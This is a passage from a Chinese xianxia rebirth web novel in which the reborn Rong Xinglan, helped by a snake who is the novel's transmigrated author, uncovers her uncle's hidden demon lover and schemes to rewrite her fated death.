容星阑目光在二人身上流转,不发一言,只微微笑,手中捏蛇的动作在七寸处收紧,疯狂扭动的紫蛇总算不动了。
她对容玄蕴道:“雨大,堂姐既来了,坐一会儿再走。”
屋外大雨,三人坐堂观雨,零星聊几句,因容星阑沉默吃樱桃,郝一只好代为招待客人,和容玄蕴有一搭没一搭地聊着话。
容星阑目光徘徊,一会儿看看郝一,一会儿又看看容玄蕴。
容玄蕴端坐着,她与容星阑虽为堂姐妹,却实在没有什么情分。她喜静,而星阑聒噪,两人自小玩不到一块去。
然阿爹总是巴结二叔家,时不时差她送些东西,方才阿爹一回家,便立即挑了一篮子鸡蛋,不顾雷雨天气,命她当下送去。
她本想放在门前就走,不曾想郝一也在,将她迎了进去,递她一杯热茶。
布鞋浸了泥水,本就烦闷。一向好动的堂妹不知今日又作何幺蛾,不时看她一眼,嘴上噙着不辨意味的笑。容玄蕴忍下一会儿便忍无可忍,直言道:“我脸上有何物?惹堂妹一直看。”
容星阑丝毫不恼,作思索状,片刻道:“我知晓了,是光环。”
容玄蕴疑惑:“光环?什么光环。”
容星阑深沉道:“宿命的光环。”
瞧见她捧腮故作深沉的样子,郝一温声笑:“又看哪些话本了,还是读了什么形法之书,开始思考宿命一事。”
“还真看了一本话本,《情道?琴道。》。”容星阑转头问容玄蕴,“堂姐可曾看过?”
容玄蕴家中务农,本就没什么银钱,只在二叔照拂下读了几年书,稍认得几个字,平日里更是没有闲时读书。是以被容星阑这样一问,还以为是在故意呛她,冷声道:“不曾。”
容星阑笑意莫测,道:“唔,不打紧,堂姐你总会读到的。”这毕竟是专门为她而作的一本话本。
难得见她,郝一想和她多聊几句,便问:“里面讲了什么,让阿阑念念不忘。”
容星阑目光悠远,似在回想:“是讲一位出身卑微的女子,经历千磨万击,最终飞升成神的故事。”
容星阑又道:“那女子好生风光,众生皆爱她,众修皆怜她。她道心坚决、手段非常,为得道,弑亲抛夫皆可做。”
此话一出,容玄蕴心中莫名触动,心不觉快跳起来,就听郝一道:“只是些坊间话本,当不得真。若弑亲抛夫之人都能得道,那天下穷恶之徒岂不皆是道心坚定之辈。再者,修者居深山或海外,凡尘之人,哪有那么多仙缘。纵一朝踏入道途,仍有漫漫之路要走。”
容星阑却不认同:“非也,此乃大女主。”
郝一见她神神在在,模样认真,不觉眉目柔和,笑起来:“谁写的话本,拿与我看看。”
试图扭动的紫蛇听全他们对话,在容星阑手中啪嗒一下不敢动了。
天际又隐隐传来雷声,容星阑拨弄着篮上花纹,似不经意地问道:“堂姐,你觉得这故事如何?”
4. 有红樱
容玄蕴似乎听入了迷,轻声喃喃:“道心……”又在出声的瞬间回神:“不知全貌,如何得知。故事好不好,你是看故事的人,无人比你清楚。”
她轻声笑道:“不过你说的对,命运际会,谁又说得准呢。”
容星阑点头:“命运际会,本就说不准。说不定哪一天,郝哥哥于我而言就不再是单纯的郝哥哥。”
话题忽转,郝一看向星阑,思及二月的婚期,只道是星阑害羞打趣,忍不住笑着逗问:“哦?那会是什么?”
容星阑只凝视着堂姐清冷而遗世的脸,意味深长道:“堂姐夫。”
这三个字一说完,方才还谈论有声的堂屋瞬间寂静,一声巨雷响彻天际。
随着雷声轰隆,黑沉的乌云被一道极亮的闪电撕开,刹那间天地俱白,照亮堂屋内三人,映照在容玄蕴高挺的侧脸上:“休得胡言!”
郝一愣神片刻,一向温润的眉眼在电光下恻然,沉声道:“阿阑。”
他分明带了怒意,除了怒意,却还有种沉重酸楚的情绪在心上晕开。他不知此般情绪从何而来,只觉得心慌难忍,又不知缘何心慌,道了声:“不可乱说,你明知……”
郝一看向星阑,顾不得他人在场,恨不得立即剖明心际。即便他们早已心意互通,仍迫不及待想再三向她确定,似乎只有这样,莫名的心慌才会好一些,只是还未张口,就看到了容星阑惊恐的面容。
她浑身在抖,目光惊惧,却愤怒望天。
眼中……有恨意。
她在恨什么?郝一突然不敢看她,也不敢细问,只又给自己斟了一杯茶,茶味早被冲淡,他强咽下去,总算稳住了心神。
“你既喜欢话本,下次给你带一些。只是话本终究是打发时间之物,若其中情节不够有趣,便换一本,不要受话本中的故事影响。”
他本来站在桌侧,这会儿走到容星阑身前,既离容玄蕴远了些,又离容星阑更近些。最重要的是,他挡住了她仇视天际的目光。
眼前的影子落下,不见云中雷霆电闪,容星阑回神,只道:“雨小了。”
……
六月天最为善变,一阵雷雨后,云开雾散,霞光万丈,洒在郝牛村田间原野。
容玄蕴不等雨停就走了,郝一待了小会儿,见容星阑今日意兴阑珊,也知趣地走了。
人一走,屋内清净许多,容星阑取下桃木剑,回到屋中,将装死的紫蛇摇醒。
坏头蛇有苦说不出,无故穿书也就罢了,她竟然穿到了恶煞女配手中,要是知道眼前一脸无害的少女是容星阑,给十个胆子也不敢在她面前说下那番话,这不是专捅人心窝子吗!
它现在逃也不敢逃了,扭也不敢扭了,缩成一团,尽量降低自己的存在感。
桃木剑戳到它身上时,不得不睁开眼,见了容星阑阴冷的面容,哇声一哭:“我错了!”
容星阑拿剑抵它七寸:“你错哪了?”
坏头蛇吞了一口并不存在的口水,戚戚道:“我不该写大女主!”
“嘁!”容星阑嗤笑,“不对。”
坏头蛇:“我不该将你写的这么惨!”
容星阑道:“还是不对!”
坏头蛇:“我不该将你的夫君写给容玄蕴!”
“还是不对。”容星阑摇头,凑近蛇头,和煦一笑:“你还有一次回答的机会。”
坏头蛇:“……!”
它一动不敢动,憋了半晌,还是不知,垂死挣扎道:“对不起!我真的不知道,呜呜呜,我该死,我不该图一时之快无脑写那本小说,否则我也不会莫名奇妙穿到书中世界来,还成了一条蛇,呜呜!我真该死,我害你和郝一人鬼殊途!害你死后成了鬼君也不得安生,被女主率众修讨伐而死!对不起,真的对不起!”
抵在七寸上的桃木剑轻了轻。
她缓声道:“还是不对。”
坏头蛇卷尾抱头:“那到底是为什么!你总得让我死个明白吧!”
容星阑收回桃木剑,道:“我若是知道,何必问你。”
坏头蛇一噎,便听她道:“我只是觉得,不该是这样。我没看过你写的话本,亦不知你的故事里到底到底发生了什么。单从过往我浅薄的一生来看,我恨天地让我早死,又谢天地留我一线生机。我恨郝一转身与害我之人成婚,又笑他自食恶果,为堂姐所抛。恨涂华山孤寂百年,无一人识我。又幸涂华山有万鬼作伴,也不算真的寂寞。”
她轻笑:“与人比,鬼单纯多了。”
“若我为人,或只能活个百年,但以《万象符》炼化阴魂,我却在涂华山苟活数百年之久,拥有令九州闻风丧胆的阴符之能。”
“祸兮福所倚,福兮祸所伏。天地宿命很难评论,我只是觉得,不该是这样。我是我,我做我,我的存在,不应服务于任何别的存在。”
“说的好!!”坏头蛇想鼓掌,没有手,就把尾巴甩得啪啪响。
甩着甩着,尾巴陡然一顿,不对啊!容星阑抓它的时候手心分明温热,甚至还有淡淡的汗意。她还没死在女主簪下,怎么就知道后面的故事发展呢?
好歹是资深作者,坏头蛇大惊:容星阑竟是重生的!
不知紫蛇作何感想的容星阑哼道:“你既然觉得好,又怎会那样写。”
坏头蛇呜嘤一声:“年少轻狂,思想不够深刻,我真知错了!”
容星阑又将桃木剑对着它:“你若真的知错,日后便跟着我,不许去跟容玄蕴,亦不许跟其他人,只跟着我,好生弥补你的过错!”
容星阑历经种种,世间发生何事都不足为奇,神识在白茫世界走一遭,又听紫蛇自言坏头蛇,已经信了七八分。它既言自己是造物主,定有先知之能,也算一份机缘,她不想让与旁人。
坏头蛇犹豫一瞬,想到自己莫名穿到此书世界,一来就在容星阑的妆奁里,而容星阑竟是重生之人。有此变故,虽是她书中世界,却也不全然是她书中世界,毕竟她可没写容星阑重生。
一个巧合是巧合,多个巧合是线索,或许回到现世的突破口就在容星阑身上,坏头蛇应下来:“好!”
见紫蛇老实地躺在自己的锦花薄被上,忽地一愣,抚手上前,手顿在蛇身上方稍作迟疑,而后轻轻抚顺上去。蛇身滑溜冰凉,那蛇被她一摸,蛇头扭转过来,豆大的圆眼懵瞪着,容星阑释然一笑:
她好像不怎么怕蛇了。
……
天光余半,飞霞似橙似粉,屋内里亮起了暖黄的烛火。
“阿阑,吃饭了!”
一方小桌,只母女二人,妇人名为裴书,除了文采斐然,厨艺也是极佳,统共做了四道菜,两荤一素一汤。
容星阑为鬼后再也不能食人间美味,她不是重食欲的人,偶有想吃点什么的时候,忍一忍也就过去了。这会儿喝下一碗阿娘做的玉米排骨汤,温热的汤水下肚,四肢暖觉,才叫她有了重生的实感,一时胸中酸楚涌泉似地倾泻出来,眼角隐有泪光。
“莫急,没人跟你抢,锅中还有。”裴书探头看了看隔壁院未亮灯的竹屋,道:“一会儿吃完了,你去给阿辞送一碗。”
容星阑便又想起,陈辞承她父母多年饭菜之恩,却专下昆吾取她鬼命,不大情愿地放下碗:“不去。”
裴书笑道:“莫耍小性子。”
容星阑撇撇嘴,道:“阿娘,白日大伯找你何事?”
裴书夹菜的动作一顿,道:“出镖的事。”
她笑着给容星阑夹了一筷子红烧肉,道:“打听这个做什么,你只需在家好生待着,明年二月就要成婚的人了,还不稳重些。”
和郝一的婚事容星阑并不放在心上,其一她对郝一的感情经过上一世的经历已变得十分复杂,年少的悸动与欢喜早如过往云烟,想抓也
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抓不住了。
其二虽不知前世到底发生何事,但郝一和堂姐成婚是事实,他们二人命定有缘,虽然浅短,但也做了一阵正儿八经的夫妻。
是以今生无论日后如何,她和郝一都只能是有缘无分。
不过阿娘一提,她确实得提前做些准备。若想做人,便再不能使用《万象符》。前世自炼化阴符后,对观脉无师自通,她已然知道自己的身体灵资极低,并不是修行的料。
日后如何抉择,还得仔细思考、早做打算。
她咬下一大口肥瘦相间的五花肉,应付道:“知道了阿娘。”
裴书道:“年后或许我跟你阿爹要一起出一趟远门,不过还是未知。”
五花肉啪嗒一声掉入碗里,容星阑道:“娘,你说什么?”
年后?原来原定时间是年后,只是不知为何突然提前,让爹娘年前出发,赶了趟急镖。
裴书奇道:“今日怎么总是一惊一乍的,可是午睡时受了惊,明日去求一道惊厥符给你喝一喝。”
容星阑放缓声音:“没事阿娘,只是有些意外。大伯今日来,就是来谈年后走镖的事吗?”
“是啊。有一位特别的顾客,需要我跟你阿爹一起出镖。接下此镖,又可以给我们阿阑多添很多嫁妆。此去一回,你阿爹可以休息好些日子。”
容星阑心中冷笑,哪有什么此去一回,年底一去,等待的是一家人的黄泉路。
同时她的心彻底沉下去,原来年底的事,早在年中就有铺垫,可她前世从不过问父母出镖之事,所以一直不知。
她问:“特殊的顾客?”
裴书点头,却不欲多言,无论容星阑如何试探追问、撒娇撒泼,都没能从她口中打听到一丝信息。
最后只道:“娘,我不需要很多嫁妆,你和阿爹好好的,阿阑就很开心了。”
……
裴书在厨房收拾碗筷,容星阑回到屋内,关好房门,从怀中取出一只包着布巾的小碟。
那紫蛇答应了她,就真的哪也没去,躺在她的床上露着肚皮睡大觉。
她随手将蛇拿到桌上,手指头弹了弹蛇脑袋:“醒醒。”
布巾掀开,紫蛇眼前一亮:“哇,好多吃的!”它扑上去,风卷残云般吃了个干净,挺着圆肚子卷着尾巴,躺在桌上。
紫蛇咂咂嘴:“想不到你是这样的容星阑。”
“这样是怎么样?”
“还挺好的。”
容星阑:“一点小菜就将你收买了。”
紫蛇:“你不懂。人生三万天,不过吃喝拉撒。”
容星阑:“确实不懂。”
她戳了戳蛇头:“容玄蕴和郝一成婚,到底是怎么一回事?”
紫蛇扭身:“你白天还说你不在意,现在又问我。”
它哼哼两声:“不能告诉你,我不能剧透,剧透就是天机不可泄露的意思。白天你也看见了,你向他们俩剧透,天雷就会警告你。你信不信我现在真的开口说一个字,天雷不带一丝犹豫的,我跟你两个都得玩完。”
容星阑比它更清楚天雷的威力,也不再问,独自思索,就听裴书在屋外唤她:“阿阑!”
“诶!”容星阑将小蛇往被中一藏,开门出去。
裴书提了一个食盒,道:“给阿辞送去。”
容星阑认命地拎着食盒,敲了敲陈辞家院门,门没锁,只虚虚一掩。她推门进去,后侧的小屋亮了灯。
侧棚中的黑牛见了她,摇着尾巴过来跟她贴贴蹭蹭,似乎知道她是来找主人的,带着她向后院走去。
此时暮色已深,万里无云,天边悬挂一轮半圆的月。
月色清清,烛火幽幽,流水哗啦,脚步窣窣。
正在后院冲凉的陈辞闻声回头。
大眼瞪小眼间,容星阑当下只有一个想法:她恐怕日后再也无法直视红樱桃。
5. 老宅藏娇
若世间万物皆昏灰,唯一物有樱色,目光便很难不朝樱色看去。
容星阑有些控制不住自己的眼睛。
小黑牛应景地长眸一声,牛尾呼啦啦甩,被它主人轻轻一瞥,瞬间老实,垂头闷啃长在后院土里的草。
陈辞不紧不慢地穿好上衣,淡声道:“何事?”
樱色被一抹素白挡住,容星阑顿觉素白是世界中最无趣的颜色,道:“哦,阿娘叫我给你带了玉米排骨汤。”
陈辞示意后院的一张石桌,道:“放那吧,替我谢过裴姨。”
容星阑将食盒往石桌上一放,自顾自坐下,打量起后院来。
后院只有一口井、一只桶、一个半人高的浣洗池,还有便是她正坐着的石桌石凳,除此之外,空旷无物。
她记忆中从未来过陈辞家后院。小时候陈辞还不那么孤冷,有时还和她一起玩泥巴、捏泥人、过家家酒,自从被村子孩子骂过没爹没娘的孽种后,愈发孤僻,后来连她也叫不出门了。
长大后,除了偶尔送食,再无交集。再后来,相见之时,已然正邪不两立,刀符相向了。
容星阑看着一览无余的后院,无情道剑君的孤寂清简,在少年时期已然可见了。
她不走,陈辞也不说什么,只穿了件薄衫,一层层打开食盒。
容星阑一看,心众呼道:好啊!阿娘分明是每样菜都留了一份,难怪拎提食盒时那么重!
她便又想起涂华山紫雷下的那一剑,心如打翻了七八样调料瓶不是滋味。又见如此佳肴,陈辞吃相居然十分冷淡无味。就是喂狗,狗也会摇摇尾巴。
她怪声问道:“好吃么?”
陈辞点头,夹了一块红烧肉。
容星阑见他夹菜、吃饭、喝汤,始终动作徐徐,神色平和宁静,无端地也心平气和起来,静静看了好一会儿,险些忘了此行目的。
她开始讲故事。
“阿辞哥哥,我给你讲个故事吧,从前有一个人……”
陈辞动作顿了顿,似是不知她又在琢磨什么名堂,继而继续用饭,听她道:
“这个人他落了难,在河边遇到了一位洗衣服的老妇人。老妇人连续几十天都分给他饭吃。待此人显达后,便以千金回报给老妇人。”
“你知道这个故事叫什么吗?”
陈辞慢条斯理地盛汤:“不知。”
“你认真听。”容星阑拦住他的动作,不让他盛汤。
陈辞便看她。月色下,少女清澈的双眼亮的出奇,正目不转睛地盯着他的眼睛,神情严肃,掷地有声:“一饭千金。”
陈辞继续盛汤。
容星阑继续道:“还有一个故事。”
“从前有一个人,他没有饭吃,但是有一个好心人总给他饭吃。有一天,这人看到好心人掉进了河里,却没有救这个对他常施饭恩的好心人。”
“最后,你猜怎么了?”
容星阑声音一低,煞有其事道:“此人忘恩负义,见死不救,一不小心摔了一跤,也跌进河里,淹死了。”
陈辞喝完了汤。
“阿辞哥哥,这两则故事告诉我们什么道理?”
陈辞正准备去洗碗筷,已站了起来,被容星阑一拉,不得不停下动作,低头看她,道:“不要去河边。”
容星阑:“……”
好有道理。
容星阑越想越觉陈辞所言极有道理。
为何非要钻那牛角尖,何必计较过去之事,重生一世,她已然抢占先机。实际上事情可以直接从源头解决:不救人。
或者说:扼于萌芽。
她心中陡然生出一个恶毒的想法。
这想法叫她自己都骇一跳。
容玄蕴修琴道,贵在五指,若是手废了呢?陈辞修无情剑道,若是……他心中有情呢?
她看向院中少年。
少年汲水洗碗,做着和所有凡间之人都会做的事。除了洗碗,他还必须日日吃饭、睡觉。仙缘未至,他未修无情道,手中无剑,陈辞就是普通人。
心中有了计划,这计划过于大胆,她心跳得有些快,强行稳住心神,再不管院中少年,目光一片清明,向院外走去。
“星阑。”
容星阑坚决的步伐一停,回头时,目光深微。
陈辞自然不知她心中琢磨,只将洗好的碗装进食盒,递给她:“食盒。”
……
裴令仪口风极紧,容星阑就在村中无所事事地“闲逛”数日,终于在大伯这里找到了一丝突破口。
他每隔三日,就要在田间村里绕两圈,这两圈绕地十分微妙,必然会有意无意地经过容家废弃的祖屋。
起初她只以为容成去老宅只是怀念怀念阿爷,却发现他去的很有规律,且前往之时,总要背一篓筐东西。行踪鬼祟,不大光明,似乎不想被人发现。
这一日,容成将拔掉羽毛的两只鸡和一篮鸡蛋放进背篓,又盖了一层麻布遮挡,这才背着准备出门,就见容玄蕴堵在院门口,冷声问道:“爹,背篓里装的什么?”
他苦苦耕耘,却始终不得儿郎,只得一个女儿,这女儿小时候还算乖巧听话,越长大越寡言少语,总阴沉着个脸,看了就晦气。
容成将她往边上一扒:“起开起开!还管起你老子来了。”
他已经走出好几步路,似乎想起什么,回头道:“有这闲工夫,不如绣一绣自己的嫁衣,镇上刘员外与我说了你的亲,他年纪虽大了点,但身家丰厚,你嫁过去,不算委屈。”
容玄蕴本就面无表情的面容更加阴鸷,藏在袖中的双手狠狠握拳。
容成见她不答,活像个女鬼气势沉郁地隐在门后,骇一大跳,啐道:“老子跟你讲话呢,听到了没?”
容玄蕴垂下眼,乖顺道:“听到了。”
容成斜觑她一眼,转身道:“还以为自己是容星阑呢,也不看看自己是什么命。”
藏在树后的容星阑溘然听到自己的名字,不觉蹙眉,看向门后的容玄蕴。
她竟不知还有这一茬。
大伯薄凉,品性极差,对妻女动则指使辱骂,对外人却客气三分,对比他有身份地位的人更是俯首帖耳。有利可图之下,不论亲疏远近、身份地位,捅人的刀子说落就落,在村中毫无人缘可言。
再加上堂姐本身性格冷淡,村中儿郎竟无一人上门说亲。
没想到被刘员外打起了主意。那刘员外是镇上远近闻名的花老头,听说还有一些专害女人的房中术。他府中娶了三次媳妇,无一不是死相惨烈。
大伯为财,不惜将堂姐送往生不如死的火坑,容星阑晃了晃手腕,小声道:“这也是你写的?”
紫蛇盘在容星阑腕上,将将好一圈。写作时人物只是纸上角色,自然是想到什么写什么,谁知有朝一日真进了书中世界,亲自见到笔下角色日常,心中感觉自然不同。
容玄蕴好像有点惨。
但它还是嘴硬:“你懂什么!天将降大任于斯人也,必先苦其心志……”
容玄蕴朝树这边走了过来,容星阑连忙将它蛇嘴一捏,手动闭言。
紫蛇:其实它可以自己闭嘴谢谢。
容玄蕴越走越近,而容成背着背篓越走越远。容星阑脑瓜子飞转,正想对策,一只鸡忽然从圈中飞了出来,将容玄蕴
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拦了一拦。
见容玄蕴止步去抓鸡,容星阑赶紧溜走,蛇皮走位,跟上容成。
在容星阑走后,陈辞自树上一跃,轻脚落下,也跟上去。
……
容成在村内田间里饶了两圈,确定无人注意,溜进老宅,关上大门。
容家祖上做形法生意,这宅子不大,却有些风水的讲究,宅形方正,北靠土坡,东有溪流,西倚村道,取青龙白虎之意。
是以东墙有个排水的道口,长宽三尺,容星阑幼时总钻来钻去,去溪里抓鱼。现在却要伏地低爬才能进去。
她朝四面看了看,确定没人,心一横,伏地爬了进去。
里面堆了多年灰尘和蛛网,容星阑强忍住不咳,一鼓作气钻进东厢房。进去后连忙抖灰拍网,听到主屋有谈话声,她贴耳过去。
“给你杀了两只鸡……营养……怀了孩子……”
“三日后……看你……”
主屋内的人显然压低了声音在讲话,容星阑听得云里雾里,她戳蛇:“你听出来什么了吗?”
紫蛇在她腕上摇摇脑袋:“听不清,换个地方试试。”
容星阑凭着记忆从东厢房后门绕出去。东西两个厢房与主屋一起连着后院。她蹑手蹑脚走到后院,蹲在主屋窗下。
窗格被人重新糊了一层,好在有一些地方糊的不够仔细,窗纸仍有破损,容星阑贴眼看去。
这一看,再结合先前所听见的断续之言,直教她杏眼瞪得极大,愣在原地。
大伯竟然老宅藏娇!
她惊地捂住嘴巴:这“娇”还是个妖物!
那妖物因怀有生孕的缘故,现出一半原型,鱼尾若隐若现,覆在鱼尾上的不是鳞片,而是闪着白金色的鸟羽。
紫蛇也看呆了,小声道:“这是啥啊……”
容星阑:“这不是你写的话本吗?连你也不知?”
紫蛇辩解:“我只会围绕着女主写,其他的都是世界自己完善的,我也不是全知。”
看清怀孕的妖,容星阑恍然大悟,为何会有此次走镖,为何关于此镖阿娘就是不肯吐露半分,为何此镖需要爹娘二人一起。
只怕是妖物待产,大伯唯恐东窗事发,拜托了爹娘替他掩盖。而那妖虽然只是个外室,怀中骨肉却是实打实的容家孩儿,阿爹不忍,阿娘心善,应下此镖也是情有可原。
如此一想,容成杀人动机也清晰明了,灭了爹娘,和妖物苟合的秘密守住了,还能占了她家的家财,简直是一石二鸟!
容星阑看着屋中一人一妖,心中又觉荒诞离奇:那妖生的十分美艳,而大伯只是个枯瘦的中年农户,如此二人都能结下情缘,真叫人啧啧称奇。
屋中女妖正和容成谈事,忽然闻到陌生的人味,她眸光一凝,抬指化出妖刃,直指北窗,道:“谁!”
容星阑一惊,脸上忽然捂上一只冰凉的大手,随着那手捂来,她似乎闻到了一阵冰雪的冷冽之气。
陈辞在她耳边低声道:“别出声。”
屋内容成在女妖抬指的瞬间就往此处走,容星阑心中焦急,现下陈辞又不是往日的剑君,没有灵气,用不了敛息诀。他即便是捂住了她的嘴,两个大活人站在这里,只要容成不瞎,怎么招都会被看见。
容星阑急中生智,霎时拉下少年的手,牵在手里。她看着他,眼中柔情似水,俨然小女儿见情郎的娇态,用略带紧张又纤柔的声音对着陈辞道:“辞哥哥,你确定此处无人吗?”
她假意左右张望一番,正好错过少年面上一闪而过的错愕,抬脚在他脸上飞快地轻啄,娇羞道:“我们在这里幽会,不会被人发现吧?”
6. 妙计
容家老宅后院,荒废数日,生了一棵枝蔓曲折的老柿子树。小小的青柿果藏在枝叶里,满树青翠。
这日阳光大好,阳光斜照,漏下一片影影绰绰,洒在少年男女青涩又暧昧的身形上。
若不是眼前少女另有未婚夫郎的话。
容成看清窗外人,转身安抚床上警惕非常的女妖,不仅没有立即冲出去将树下二人捉拿,反而莫测一笑,轻“嘘”一声,若有所思。
他摆摆手,小声道:“不打紧,一对小野鸳鸯。”
仙长命他取得此妖信任,容成便将眼前事当八卦说给女妖听:“喏,那少女是我家侄女,她跟小郎君来这里幽会来了。毕竟这是容家祖宅,她挑此地幽会,确实不易起疑。”
他笑得玄乎,两眼放着精光,本来朴实的面容略显猥琐,对着女妖道:“你瞧他们俩是不是情意绵绵。”
听容成一说,女妖稍稍卸下心中防备,只要不是扶苍山之人,都无需戒备。她凝眼看去,只见院中少女娇柔稚嫩,看向少年的眸中柔地都能化出水来。
那少年也垂眼看他,分明是冷寂寡情的模样,眼中却一寸不离地看着身前人,眸若深潭,潭面平静,潭下早已浪潮汹涌。
确实情投意合,俊男俏女,让人看着不觉露出见了有情儿女的慈笑。
也让女妖想起曾经的自己。
那年蛮荒鬼山,月桃树下,她与那人,也是这般形影不离。
苦涩在心上漾开,只可惜……
“只可惜……”容成嗤了一声,“我那侄女已有婚约,婚定之人嘛,却不是现下正和他缱绻柔情的郎君哟。”
……
“你再说一遍?”
坏头蛇已经听了三遍,还是不敢置信,它时常觉得自己身为作者,在编造狗血剧情时已够大胆,没想到跟眼前少女相比,它还是太嫩了。
“你要把容玄蕴跟陈辞凑一对?”它忍不住咆哮,“你不是才亲了陈辞?”
容星阑蹲在田耕上,心中正烦闷,闻言连忙捏紧坏头蛇的嘴,谁知坏头蛇早有预判,蛇头一歪,窜至衣袖深处,叫她奈何不得。
容星阑唯恐被人听见,忙道:“你小点声!方才一时情急才出此下策。”
坏头蛇:“怎么,你敢说不敢认。好你个容星阑,你就是个渣女!”
容星阑捂住袖子,小声喝道:“叫你小点声!”
又问:“何为渣女?”
坏头蛇:“玩弄感情,就是渣女。”
容星阑面色古怪,道:“你真偏心。”
她话锋跳得太快,坏头蛇不明所以:“嗯?”
容星阑冷笑:“容玄蕴抛夫,你说她是大女主。我和陈辞逢场作戏,你说我渣女。”
容星阑顿悟:“你是不是还想将容玄蕴和郝一凑成一对?”
坏头蛇连忙否认:“我没有!”
它沉默片刻,平声道:“我只是好奇,你为何会想到把容玄蕴和陈辞凑一块儿。”
容星阑准备讲道理,讲道理前先和它约法三章:“第一,你确定与我同心;第二,你必须抛弃话本中原有剧情;第三,你必须确定与我同心。”
坏头蛇听到第二点之时本有微词,转念一想容星阑都他爷的重生了,原剧情算个屁,当即应下:“我肯定站在你这边,你说吧。”
容星阑开始讲道理:“你看,本来容玄蕴要杀我两次,我不想被杀,这没问题吧?”
“你不说我也猜的到,容玄蕴第一次杀我肯定跟摆脱刘员外的婚事有关。郝里正为何会跟我家结亲,还不是因为我家是村里最有钱的。我一死,我家的钱财归谁?归容成。郝里正自然会跟容成家结亲,容玄蕴才跟郝一有了这段婚缘,是也不是?”
这本小说是它十年前所作的小说,有些细节早就不太记得,但听容星阑一分析,坏头蛇依稀记起是差不多这么回事,蛇头在衣袖中一点:“确实是。”
容星阑继续道:“再讲陈辞。陈辞为何会下昆吾到涂华山颠杀我,还不是因为阴符乃邪门歪道,我乃邪修,不为正道所容。”
坏头蛇没吭声。
容星阑抖袖子:“你说是不是?”
坏头蛇迟疑道:“其实……我没写陈辞杀你……”
“当时我写到女主琴道已修至大乘期,故事开始走向结局,女主修为却迟迟无法推进。有读者评论说我的大女主都不是九州战力第一,算什么大女主。一气之下,我想了个损招,就把陈辞写死了……”
“你想,陈辞修无情道,又是渡劫大能,除了非凡的雷劫,怎么能轻易死去。我思来想去,便想到……”
后面的话紫蛇有些不敢说,容星阑催它:“便想到?”
坏头蛇先立免死金牌:“我说了,你不能捏蛇头,也不能捏我七寸。”
容星阑:“快说。”
坏头蛇便道:“其实嘛,你作为我给女主设置的第一道人间困境中的炮灰,死了就死了,我早把你忘了。但是为了写死陈辞,我绞尽脑汁,想了整整两晚上,终于想到了一个法子。”
它很想看一看容星阑的脸色,但在袖子中什么也看不见,只能硬着头皮道:
“我就把你又写活了,大概是‘当年长簪刺入心脉,她那堂妹却并未身死,而是不知从何处得了一门邪术修炼魂身,如今已是闻风丧胆的涂华山鬼君’云云。然后就添加了一个设定,你修炼的是天理不容的邪术,雷劫比普通修士恐怖百倍,这样君、陈辞死在雷劫之下,虽有些戏谑,但逻辑合理……”
漫长的沉默,坏头蛇缩在袖子里,不敢动。
好半晌,容星阑冷声道:“你倒是聪慧。”
坏头蛇蛇躯一震,就听容星阑继续讲她的计划,似乎没有怪它,心中大石落下。
“就算你没写陈辞在涂华山头杀我,但你也说过,世界会自己完善细节。无论如何,陈辞在涂华山头向我拔剑是事实。”
“容玄蕴为破婚劫,要杀我;我死后,成了涂华山鬼君,与正道不两立,作为正道剑君,陈辞要杀我。”
“那如果我将容玄蕴与陈辞凑一对,容玄蕴就不会有婚劫,她便不会杀我。她不杀我,我就不会成为鬼君,陈辞也没理由杀我。”
“如此,不费一兵一卒,我的生死危机,是不是就解决了。我亦无需杀灭他们二人偿我血仇,我简直是太良善了。”
坏头蛇静静听着,它细细琢磨一番,发现好他爷的有道理。
容星阑幽幽道:“只是这样一来,你的话本剧情就全然崩了。”
坏头蛇心道:我莫名穿越,既没有给我颁布什么任务,也没有什么穿书系统。容星阑是她遇到的第一个角色,相处之下,已经有了几分姐妹情谊。何况它本身就愧对容星阑这个笔下炮灰。
因而摆烂道:“算了,你就去做你想做的吧,只要天雷不警告,怎么快活怎么来。”
当然,还有一些更为恶毒的计划,容星阑并没有全盘脱出。
坏头蛇问:“你打算怎么撮合他们?”
容星阑沉思片刻,一拍掌:“有了,七月初七,青峰山庙会!”
她不知想到什么,脸上荡起一丝坏笑:“哼!我定然叫他们这段婚事不成也得成!”
坏头蛇刚从袖中伸出
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蛇头,就见她狰狞邪笑,心中惴惴,默默将蛇头缩回袖中。
……
郝牛村,荒屋内。
容成哈腰:“仙长,现在那女妖已经逐渐信任我,接下来……”
云雾遮面,容成看不见白袍男子的表情,只能从语气中察觉一丝平静的癫意:“接下来,主角就要登场,好戏……就要开始了。”
男子运筹帷幄地笑着。一切尽在他的掌握之中,容晏已在返程的路上,算了算日子,七月初七,缘定的日子,定要让他和鲲妖相遇。
“你准备一下。”男子一挥指,虚空中浮现一支玉色丹瓶,丹瓶飘至容成身前,“上次的丹药差不多喂完了吧。切记,送与那妖物的鸡,都须是食了丹药水的鸡。”
容成接过丹药,斗胆问道:“此丹为何物?”
男子凛声道:“这不是你应该打听的事,你只管照我说的办。”
容成忙称是,就听男子问:“七月初七,郝牛村是不是喜参加庙会?”
容成如实道:“是的,我们郝牛村家家户户养牛,农耕就指望着黑牛。乞巧节于郝牛村而言,不仅是善男信女互通情丝的日子,还是一年一度的贺牛日。七月初七,几乎人人都会去青峰庙会。”
“如此,甚好。”男子道袍一挥,隐入虚空,只有余声传入容成耳中,“七月初七,青峰山庙会,便是好戏登场的戏台。届时鲲妖与容晏,就叫他们在那相会罢。”
……
连着几日未下雨,日头越发热了。这几日阿娘总不在,容星阑闲来无事就在田间晃荡。
她自塘中折了一根荷叶,举在头上,在田埂上漫无目的地走着。
紫蛇热地发蔫:“容星阑,大热天的,你干什么总往外跑啊……”
容星阑晃晃荷叶:“我就爱溜达。”
此话不假,她是个天生喜欢山水田园之人。前世就是因为喜欢溜达,才寻到了一处山清水秀又十分适合修炼阴魂的荒山。
即便刚去的时候,那山黄土裸露,秃秃然一片,到处都是坟堆,谷地里白骨遍地,若逢雨,山体坍塌,又露出一些深埋着的陈年老坟。世人称:秃滑山。也称:万葬岗。
后来经过一番改造,秃滑山便成了涂华山,容星阑没事就领着她的鬼魂大君在山头间飘来飘去,若实在无聊,就吓吓误入的路人。
现在重生为人,她就在田里闲逛,累了便寻一树荫处,卧青草之上,看山看云,听蝉鸣牛哞。
走累了,容星阑路过荷塘,摘了几个莲蓬,在树下躲荫。
紫蛇嚷嚷:“谁家的莲蓬,你就这样摘了?”
容星阑一粒一粒扣莲子:“郝益清家的,没事,他家那么多荷塘,我掰一两个替他分担,不用他道谢了。”
见紫蛇瞪她,她道:“他名字都是我娘取的呢,吃两个莲蓬怎么了。”
